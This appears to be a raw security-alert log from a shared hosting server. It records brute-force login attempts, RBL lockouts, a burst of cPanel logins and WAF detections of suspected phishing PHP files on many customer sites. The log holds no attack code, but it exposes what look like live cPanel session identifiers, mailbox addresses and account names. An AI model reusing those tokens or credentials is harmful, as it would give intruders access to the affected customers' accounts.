Jun  7 07:12:20 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.93.51.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.217.182
country_id: 1269750
description:
Jun  7 07:12:50 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.217.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.66.84.73
country_id: 2017370
description:
Jun  7 07:12:52 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.66.84.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-07 07:13:23 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:32842: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.205.126.63
country_id: 6252001
description:
[2026-06-07 07:13:32 +0000] info [whostmgrd] 71.205.126.63 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.217.182
country_id: 1269750
description:
2026-06-07 07:12:52 dovecot_login authenticator failed for H=([200.107.163.195]) [182.95.217.182]:56486: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.66.84.73
country_id: 2017370
description:
2026-06-07 07:12:54 dovecot_login authenticator failed for H=([124.83.9.141]) [178.66.84.73]:34003: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.90.145.62
country_id: 192950
description:
[2026-06-07 07:13:49 +0000] info [whostmgrd] 41.90.145.62 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.197.145.126
country_id: 1819730
description:
Jun  7 07:19:28 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.197.145.126 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.126
country_id: 1819730
description:
2026-06-07 07:19:30 dovecot_login authenticator failed for H=(223-197-145-126.static.imsbiz.com) [223.197.145.126]:52790: 535 Incorrect authentication data (set_id=sales@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.203.173
country_id: 1733045
description:
2026-06-07 07:21:26 dovecot_login authenticator failed for H=(124.107.185.138.pldt.net) [49.125.203.173]:44040: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.157.91.62
country_id: 453733
description:
Jun  7 07:21:34 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.157.91.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.53
country_id: 6252001
description:
205.169.39.53 - - [07/Jun/2026:07:21:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881240&pdata=http%253A%252F%252Fv2lhxq.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780816891 HTTP/1.1" 302 0 v2lhxq.mediatopnews.tg "http://v2lhxq.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.53


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.43
country_id: 6252001
description:
[2026-06-07 07:21:36 +0000] info [cpaneld] 107.175.5.43 NEW wwayrzpl:I6a37tZYyVLgTyVf address=107.175.5.43,app=cpaneld,creator=wwayrzpl,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.226
country_id: 2635167
description:
[2026-06-07 07:21:43 +0000] info [cpaneld] 5.230.153.226 NEW wgqhqbem:5IT2aQqf13xK3kWE address=5.230.153.226,app=cpaneld,creator=wgqhqbem,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 207.154.192.162
country_id: 2921044
description:
Jun  7 07:20:56 ns5 pure-ftpd[3614279]: (?@207.154.192.162) [INFO] New connection from 207.154.192.162


plugin: ossec
rule: 11307
name: Multiple connection attempts from same source
abuser: 165.232.68.155
country_id: 2921044
description:
Jun  7 07:21:00 ns5 pure-ftpd[3614340]: (?@165.232.68.155) [INFO] New connection from 165.232.68.155


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.157.91.62
country_id: 453733
description:
2026-06-07 07:21:36 dovecot_login authenticator failed for H=62-91-157-37.dyn.estpak.ee ([182.95.238.63]) [37.157.91.62]:57255: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.138
country_id: 6252001
description:
[2026-06-07 07:21:49 +0000] info [cpaneld] 173.211.89.138 NEW elmkvzcm:nCO9iOaZFW_vbDUA address=173.211.89.138,app=cpaneld,creator=elmkvzcm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 165.232.68.155
country_id: 2921044
description:
Jun  7 07:20:57 ns5 pure-ftpd[3614284]: (?@165.232.68.155) [INFO] New connection from 165.232.68.155


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.102
country_id: 6252001
description:
[2026-06-07 07:21:34 +0000] info [cpaneld] 64.44.59.102 NEW dvhzmira:d4ukGSXSJiaAyI_J address=64.44.59.102,app=cpaneld,creator=dvhzmira,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.24
country_id: 6252001
description:
[2026-06-07 07:22:07 +0000] info [cpaneld] 64.44.62.24 NEW newistm:EVMev0W4_EvIKNFV address=64.44.62.24,app=cpaneld,creator=newistm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.67
country_id: 6252001
description:
[2026-06-07 07:22:19 +0000] info [cpaneld] 107.175.5.67 NEW rqgqpxof:ZVAf7DPvbSxQ2MlH address=107.175.5.67,app=cpaneld,creator=rqgqpxof,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.117
country_id: 2635167
description:
[2026-06-07 07:22:44 +0000] info [cpaneld] 5.230.133.117 NEW gemwjxuz:7hMTuMh94mkhcbyH address=5.230.133.117,app=cpaneld,creator=gemwjxuz,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.62.169
country_id: 6252001
domain: togofeed.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/qledpnjw/public_html/.431463180816310.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.136
country_id: 2635167
description:
[2026-06-07 07:22:13 +0000] info [cpaneld] 5.230.153.136 NEW ebbmnmtd:6h5BvlYpbLFq1M8p address=5.230.153.136,app=cpaneld,creator=ebbmnmtd,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.125
country_id: 2635167
domain: mftogo.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ttfuehop/public_html/.025078880614447.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.117
country_id: 2635167
domain: lvdt.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/lhqeyybr/public_html/.724109681260830.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 216.189.152.232
country_id: 6252001
description:
[2026-06-07 07:22:47 +0000] info [cpaneld] 216.189.152.232 NEW rdlizssu:Gge5uylw1iGal7zQ address=216.189.152.232,app=cpaneld,creator=rdlizssu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.245
country_id: 3017382
description:
[2026-06-07 07:22:49 +0000] info [cpaneld] 5.231.255.245 NEW formationfreenet:nbMLtGp8T0m8lkqo address=5.231.255.245,app=cpaneld,creator=formationfreenet,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.64.143
country_id: 3017382
domain: sahamtg.com
description:
IM360 WAF: Possible phishing page detected||SC:/home/sahamtg/public_html/.489946639181337.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.179
country_id: 2921044
description:
[2026-06-07 07:22:48 +0000] info [cpaneld] 5.175.229.179 NEW tgkkwsvr:ITwfBQI3UnJv_vvV address=5.175.229.179,app=cpaneld,creator=tgkkwsvr,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.38
country_id: 2635167
description:
[2026-06-07 07:22:01 +0000] info [cpaneld] 5.230.153.38 NEW sahamtg:twjWhYnMITjPCmls address=5.230.153.38,app=cpaneld,creator=sahamtg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.159
country_id: 3017382
description:
[2026-06-07 07:22:15 +0000] info [cpaneld] 5.231.64.159 NEW ttfuehop:8Q7jKb63gSZdDFNo address=5.231.64.159,app=cpaneld,creator=ttfuehop,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.34
country_id: 2635167
description:
[2026-06-07 07:21:54 +0000] info [cpaneld] 5.230.133.34 NEW frtwilql:TbHiTrQyqKax75OH address=5.230.133.34,app=cpaneld,creator=frtwilql,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.180
country_id: 2635167
domain: soroubat.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/jdzxeovw/public_html/.849747093548149.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.68
country_id: 3017382
description:
[2026-06-07 07:22:10 +0000] info [cpaneld] 5.231.64.68 NEW hgfdcvbnk:cb47GrDM6EdYG6hq address=5.231.64.68,app=cpaneld,creator=hgfdcvbnk,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.50
country_id: 3017382
domain: mftogo.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ttfuehop/public_html/.121757498971646.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.14
country_id: 2635167
description:
[2026-06-07 07:22:20 +0000] info [cpaneld] 5.230.153.14 NEW ruuwezvf:9hJJ_ApD1P8KpP7z address=5.230.153.14,app=cpaneld,creator=ruuwezvf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.112
country_id: 3017382
description:
[2026-06-07 07:21:50 +0000] info [cpaneld] 5.231.255.112 NEW jdzxeovw:d21muP1ek6ASKzC4 address=5.231.255.112,app=cpaneld,creator=jdzxeovw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.16
country_id: 2635167
description:
[2026-06-07 07:21:58 +0000] info [cpaneld] 5.230.133.16 NEW efberwhk:6lj9sjmQDs21XZG2 address=5.230.133.16,app=cpaneld,creator=efberwhk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.158
country_id: 2635167
description:
[2026-06-07 07:22:04 +0000] info [cpaneld] 5.230.133.158 NEW vejjghdd:j4BHa_Ei7rBWmCxW address=5.230.133.158,app=cpaneld,creator=vejjghdd,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 45.58.50.155
country_id: 6252001
description:
[2026-06-07 07:22:23 +0000] info [cpaneld] 45.58.50.155 NEW lhqeyybr:dptJEB1WBZlUR1Yo address=45.58.50.155,app=cpaneld,creator=lhqeyybr,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.71
country_id: 6252001
description:
[2026-06-07 07:22:55 +0000] info [cpaneld] 64.44.59.71 NEW ylhgcaui:DUHRQeWXPyTtbUCI address=64.44.59.71,app=cpaneld,creator=ylhgcaui,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.88.145
country_id: 6252001
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.225400423128151.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.163
country_id: 3017382
description:
[2026-06-07 07:23:07 +0000] info [cpaneld] 5.231.255.163 NEW cinemafreenetmas:LBcy8zAca2QgTath address=5.231.255.163,app=cpaneld,creator=cinemafreenetmas,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.52
country_id: 2635167
domain: cinema.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cinemafreenetmas/public_html/.607452732075456.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.18
country_id: 2635167
description:
[2026-06-07 07:23:33 +0000] info [cpaneld] 5.230.153.18 NEW sadis:4fXouJq8ByajX0tA address=5.230.153.18,app=cpaneld,creator=sadis,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.59.33
country_id: 6252001
domain: horizonmedical.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/rdlizssu/public_html/.196556148820843.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.253
country_id: 2635167
domain: clients.cloud-et-racks.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nxpivbcy/public_html/.783906134789668.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.154
country_id: 2635167
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.428795367137880.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.201
country_id: 2921044
description:
[2026-06-07 07:23:01 +0000] info [cpaneld] 5.175.229.201 NEW ygeaivhj:QoQz7qeRoj9Mnf2N address=5.175.229.201,app=cpaneld,creator=ygeaivhj,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.78
country_id: 3017382
domain: afrique-distribution.net
description:
IM360 WAF: Possible phishing page detected||SC:/home/sadis/public_html/.924105389197689.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.179
country_id: 2635167
domain: fomda.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/tgkkwsvr/public_html/.849349766038427.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 43.135.107.229
country_id: 1880251
domain: 24heureinfo.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/133.0.0.0 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.238.178.6
country_id: 3469034
description:
Jun  7 07:29:20 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.238.178.6 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Acquire Your Money Reward sepoladi.blogspot.com Yu||Email:wrightroya@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:07-29.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.238.178.6
country_id: 3469034
description:
2026-06-07 07:29:22 dovecot_login authenticator failed for H=([187.8.89.114]) [186.238.178.6]:42698: 535 Incorrect authentication data (set_id=admin@togosem.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 119.152.141.193
country_id: 1168579
description:
2026-06-07 07:30:18 H=([39.38.84.148]) [119.152.141.193]:35977 F=<John@4452.com> rejected RCPT <welldrive@confortis.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-07 07:35:36 +0000] info [whostmgrd] 185.213.83.243 - netwhmcstg "POST /login?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.179.7.81
country_id: 2464461
description:
[2026-06-07 07:34:54 +0000] info [whostmgrd] 196.179.7.81 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.71.236.61
country_id: 3469034
description:
Jun  7 07:35:20 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.71.236.61 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.182
country_id: 3469034
description:
Jun  7 07:36:03 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.182 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.124.97.242
country_id: 6252001
description:
[2026-06-07 07:42:18 +0000] info [whostmgrd] 170.124.97.242 - rolle "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.176
country_id: 1880251
description:
47.128.96.176 - - [07/Jun/2026:07:45:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6646418&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fnovelas-tv%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780818315 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/novelas-tv/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.176


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.142.81.123
country_id: 1220409
description:
2026-06-07 07:47:47 H=([95.142.81.123]) [95.142.81.123]:50025 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.230
country_id: 2635167
description:
[2026-06-07 07:47:07 +0000] info [cpaneld] 5.230.153.230 NEW glfmqhlj:ai0xLQZViVzL52FJ address=5.230.153.230,app=cpaneld,creator=glfmqhlj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.199
country_id: 3469034
description:
Jun  7 07:47:30 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.199 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.54
country_id: 798544
description:
Jun  7 07:48:11 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.54 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.134.140.47
country_id: 3865483
description:
[2026-06-07 07:48:54 +0000] info [whostmgrd] 186.134.140.47 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.27.37
country_id: 1835841
description:
Jun  7 07:49:51 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.27.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.239.202
country_id: 1269750
description:
Jun  7 07:49:58 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.239.202 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.204.96.4
country_id: 6252001
description:
[2026-06-07 07:51:31 +0000] info [whostmgrd] 192.204.96.4 - aogodmm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350391
name: IM360 WAF: Interaction with fake plugin
abuser: 143.244.45.241
country_id: 690791
domain: belali.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/pwnd.php||WPU:||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.179.7.81
country_id: 2464461
description:
[2026-06-07 07:52:31 +0000] info [cpaneld] 196.179.7.81 - concours "POST /login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user concours (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.227.227
country_id: 6252001
description:
47.77.227.227 - - [07/Jun/2026:07:53:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065350&pdata=http%253A%252F%252Fdagl.tg%253A2095%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780818817 HTTP/1.1" 302 0 dagl.tg "http://dagl.tg:2095/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.77.227.227


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.188.16
country_id: 6252001
description:
47.251.188.16 - - [07/Jun/2026:07:53:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869972&pdata=http%253A%252F%252Fcivilemagazine.tg%253A2095%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780818807 HTTP/1.1" 302 0 civilemagazine.tg "http://civilemagazine.tg:2095/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.188.16


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.90.48
country_id: 6252001
description:
47.251.90.48 - - [07/Jun/2026:07:53:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10326640&pdata=http%253A%252F%252F154.70.82.246%253A2095%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780818793 HTTP/1.1" 302 0 154.70.82.246 "http://154.70.82.246:2095/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.90.48


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.228.238
country_id: 6252001
description:
47.77.228.238 - - [07/Jun/2026:07:53:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869720&pdata=http%253A%252F%252Fcfpj.tg%253A2095%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780818806 HTTP/1.1" 302 0 cfpj.tg "http://cfpj.tg:2095/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.77.228.238


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:07-53.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.88.238
country_id: 6252001
description:
47.251.88.238 - - [07/Jun/2026:07:53:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13198442&pdata=http%253A%252F%252Ftogodailynews.tg%253A2095%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780818793 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg:2095/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.88.238


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.89.134
country_id: 6252001
description:
47.251.89.134 - - [07/Jun/2026:07:53:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870489&pdata=http%253A%252F%252Femt.tg%253A2095%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780818803 HTTP/1.1" 302 0 emt.tg "http://emt.tg:2095/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.89.134


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Get Your Giant Stake Bonus bonotdamvam.blogspot.tw du||Email:jski6053@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.238
country_id: 6252001
description:
Jun  7 07:57:20 ns5 pure-ftpd[3642086]: (?@205.210.31.238) [INFO] New connection from 205.210.31.238


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.148.156.218
country_id: 6252001
description:
[2026-06-07 08:01:49 +0000] info [cpaneld] 23.148.156.218 - AWADI "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AWADI (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.50.165.182
country_id: 6252001
description:
[2026-06-07 08:01:49 +0000] info [cpaneld] 209.50.165.182 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.26.226.144
country_id: 6252001
description:
[2026-06-07 08:01:49 +0000] info [cpaneld] 216.26.226.144 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.111.96.100
country_id: 1643084
description:
[2026-06-07 08:03:35 +0000] info [whostmgrd] 103.111.96.100 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-07 08:03:13 +0000] info [whostmgrd] 185.213.83.243 - netwhmcstg "POST /login?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.208
country_id: 1880251
description:
